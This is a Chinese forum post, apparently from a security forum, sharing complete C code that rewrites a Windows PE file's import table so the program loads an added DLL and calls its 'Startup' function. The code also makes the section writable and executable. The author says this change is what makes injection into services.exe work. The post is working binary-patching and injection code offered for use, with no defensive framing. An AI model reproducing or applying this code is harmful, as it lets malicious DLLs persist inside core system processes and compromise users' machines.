信息来源:
http://www.whitecell.org/forums/viewthread.php?tid=70
Code: [Copy to clipboard]
//
// Copy from Matt Pietrek
// Given an RVA, look up the section header that encloses it and return a
// pointer to its IMAGE_SECTION_HEADER
//
PIMAGE_SECTION_HEADER
__AddImportTable_GetEnclosingSectionHeader(
DWORD rva,
PIMAGE_NT_HEADERS pNTHeader
)
{
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION32(pNTHeader);
unsigned i;
for ( i=0; i < pNTHeader->FileHeader.NumberOfSections; i++, section++ )
{
// Is the RVA within this section?
if ( (rva >= section->VirtualAddress) &&
(rva < (section->VirtualAddress + section->Misc.VirtualSize)))
return section;
}
return 0;
}
int
AddImportDll(
IN HANDLE hFile,
IN LPSTR lpDllName,
IN DWORD dwBase,
IN PIMAGE_NT_HEADERS pNTHeader
)
{
//
// 通过OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress
// 获得导入表的RVA, 利用此RVA找到ImportTable所在的Section,之后计算Offset,公式:
// Offset = (INT)(pSection->VirtualAddress - pSection->PointerToRawData)
// 之后利用Offset来定位文件中ImportTable的位置.
//
PIMAGE_IMPORT_DESCRIPTOR pImportDesc = 0;
PIMAGE_SECTION_HEADER pSection = 0;
PIMAGE_THUNK_DATA pThunk, pThunkIAT = 0;
int Offset = -1;
pSection = __AddImportTable_GetEnclosingSectionHeader(
pNTHeader->OptionalHeader.DataDirectory
[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress,
pNTHeader);
if(!pSection)
{
fprintf(stderr, "No Import Table..\n");
return -1;
}
Offset = (int) (pSection->VirtualAddress - pSection->PointerToRawData);
//
// 计算ImportTable在文件中的位置
//
pImportDesc =
(PIMAGE_IMPORT_DESCRIPTOR)(pNTHeader->OptionalHeader.DataDirectory
[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - Offset + dwBase);
//
// 取出导入的DLL的个数
//
int nImportDllCount = 0;
while(1)
{
if ((pImportDesc->TimeDateStamp==0 ) && (pImportDesc->Name==0))
break;
pThunk = (PIMAGE_THUNK_DATA)(pImportDesc->Characteristics);
pThunkIAT = (PIMAGE_THUNK_DATA)(pImportDesc->FirstThunk);
if(pThunk == 0 && pThunkIAT == 0)
return -1;
nImportDllCount++;
pImportDesc++;
}
//
// 恢复pImportDesc的值,方便下面的复制当前导入表的操作.
//
pImportDesc -= nImportDllCount;
//
// 取得ImportTable所在Section的RawData在文件中的末尾地址,计算公式:
// dwOrigEndOfRawDataAddr = pSection->PointerToRawData + pSection->Misc.VirtualSize
//
DWORD dwEndOfRawDataAddr = pSection->PointerToRawData + pSection->Misc.VirtualSize;
PIMAGE_IMPORT_DESCRIPTOR pImportDescVector =
(PIMAGE_IMPORT_DESCRIPTOR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 20 * (nImportDllCount+1));
if(pImportDescVector == NULL)
{
fprintf(stderr, "HeapAlloc() failed. --err: %d\n", GetLastError());
return -1;
}
CopyMemory(pImportDescVector+1, pImportDesc, 20*nImportDllCount);
//
// 构造添加数据的结构,方法笨拙了点.
//
struct _Add_Data
{
char szDllName[256]; // 导入DLL的名字
int nDllNameLen; // 实际填充的名字的长度
WORD Hint; // 导入函数的Hint
char szFuncName[256]; // 导入函数的名字
int nFuncNameLen; // 导入函数名字的实际长度
int nTotal; // 填充的总长度
} Add_Data;
strcpy(Add_Data.szDllName, lpDllName);
strcpy(Add_Data.szFuncName, "Startup");
//
// +1表示'\0'字符
//
Add_Data.nDllNameLen = strlen(Add_Data.szDllName) + 1;
Add_Data.nFuncNameLen = strlen(Add_Data.szFuncName) + 1;
Add_Data.Hint = 0;
//
// 计算总的填充字节数
//
Add_Data.nTotal = Add_Data.nDllNameLen + sizeof(WORD) + Add_Data.nFuncNameLen;
//
// 检查ImportTable所在的Section中的剩余空间是否能够容纳新的ImportTable.
// 未对齐前RawData所占用的空间存放在pSection->VirtualSize中,用此值加上新的ImportTable长度与
// 原长度进行比较.
//
// nTotalLen 为新添加内容的总长度
// Add_Data.nTotal 为添加的DLL名称,Hint与导入函数的名字的总长度.
// 8 为IMAGE_IMPORT_BY_NAME结构的长度.
// 20*(nImportDllCount+1) 为新的ImportTable的长度.
//
int nTotalLen = Add_Data.nTotal + 8 + 20*(nImportDllCount+1);
// printf("TotalLen: %d byte(s)\n", nTotalLen);
if(pSection->Misc.VirtualSize + nTotalLen > pSection->SizeOfRawData)
{
fprintf(stderr, "[X] Not enough space!\n\n");
return -1;
}
IMAGE_IMPORT_DESCRIPTOR Add_ImportDesc;
//
// ThunkData结构的地址
//
Add_ImportDesc.Characteristics = dwEndOfRawDataAddr + Add_Data.nTotal + Offset;
Add_ImportDesc.TimeDateStamp = -1;
Add_ImportDesc.ForwarderChain = -1;
//
// DLL名字的RVA
//
Add_ImportDesc.Name = dwEndOfRawDataAddr + Offset;
Add_ImportDesc.FirstThunk = Add_ImportDesc.Characteristics;
CopyMemory(pImportDescVector, &Add_ImportDesc, 20);
//
// 对文件进行修改
//
DWORD dwBytesWritten = 0;
DWORD dwBuffer = dwEndOfRawDataAddr + Offset + Add_Data.nTotal + 8;
long lDistanceToMove = (long)&(pNTHeader->OptionalHeader.DataDirectory
[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress) - dwBase;
int nRet =0;
//
// 修改IMAGE_DIRECTOR_ENTRY_IMPORT中VirtualAddress的地址,
// 使其指向新的导入表的位置
//
SetFilePointer(hFile, lDistanceToMove, NULL, FILE_BEGIN);
// printf("OrigEntryImport: %x\n", pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
nRet = WriteFile(hFile, (PVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
if(!nRet)
{
fprintf(stderr, "WriteFile(ENTRY_IMPORT) failed. --err: %d\n", GetLastError());
return -1;
}
// printf("NewEntryImport: %x\n", pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
//
// 修改导入表长度
//
dwBuffer = pNTHeader->OptionalHeader.DataDirectory
[IMAGE_DIRECTORY_ENTRY_IMPORT].Size + 40;
nRet = WriteFile(hFile, (PVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
if(!nRet)
{
fprintf(stderr, "WriteFile(Entry_import.size) failed. --err: %d\n", GetLastError());
return -1;
}
//
// 修改[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT]中VirtualAddress和Size成员,设置为0
//
lDistanceToMove = (long)&(pNTHeader->OptionalHeader.DataDirectory
[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress) - dwBase;
dwBuffer = 0;
SetFilePointer(hFile, lDistanceToMove, NULL, FILE_BEGIN);
WriteFile(hFile, (PVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
WriteFile(hFile, (PVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
//
// 修改ImportTable所在节的长度
//
lDistanceToMove = (long)&(pSection->Misc.VirtualSize) - dwBase;
SetFilePointer(hFile, lDistanceToMove, NULL, FILE_BEGIN);
dwBuffer = pSection->Misc.VirtualSize + nTotalLen;
nRet = WriteFile(hFile, (PVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
if(!nRet)
{
fprintf(stderr, "WriteFile(Misc.VirtualSize) failed. --err: %d\n", GetLastError());
return -1;
}
//
// 修改SECTION的Characteristics属性修改为E0000020
//
lDistanceToMove = (long)&(pSection->Characteristics) - dwBase;
dwBuffer = 0xE0000020;
SetFilePointer(hFile, lDistanceToMove, NULL, FILE_BEGIN);
nRet = WriteFile(hFile, (PVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
if(!nRet)
{
fprintf(stderr, "WriteFile(Characteristics) failed. --err: %d\n", GetLastError());
return -1;
}
//
// 从节的末尾添加新的DLL内容
//
lDistanceToMove = dwEndOfRawDataAddr;
SetFilePointer(hFile, lDistanceToMove, NULL, FILE_BEGIN);
nRet = WriteFile(hFile, Add_Data.szDllName, Add_Data.nDllNameLen, &dwBytesWritten, NULL);
nRet = WriteFile(hFile, (LPVOID)&(Add_Data.Hint), sizeof(WORD), &dwBytesWritten, NULL);
nRet = WriteFile(hFile, Add_Data.szFuncName, Add_Data.nFuncNameLen, &dwBytesWritten, NULL);
dwBuffer = dwEndOfRawDataAddr + Add_Data.nDllNameLen + Offset;
nRet = WriteFile(hFile, (LPVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
dwBuffer = 0;
nRet = WriteFile(hFile, (LPVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
nRet = WriteFile(hFile, (LPVOID)pImportDescVector, 20*(nImportDllCount+1), &dwBytesWritten, NULL);
HeapFree(GetProcessHeap(), 0, pImportDescVector);
printf("[V] Modify PE file Successfully!\n\n");
return 0;
}
以前发过的代码,这份是全部的,必须要将SECTION的Characteristics修改为E0000020才能实现services.exe的注入,否则会提示错误。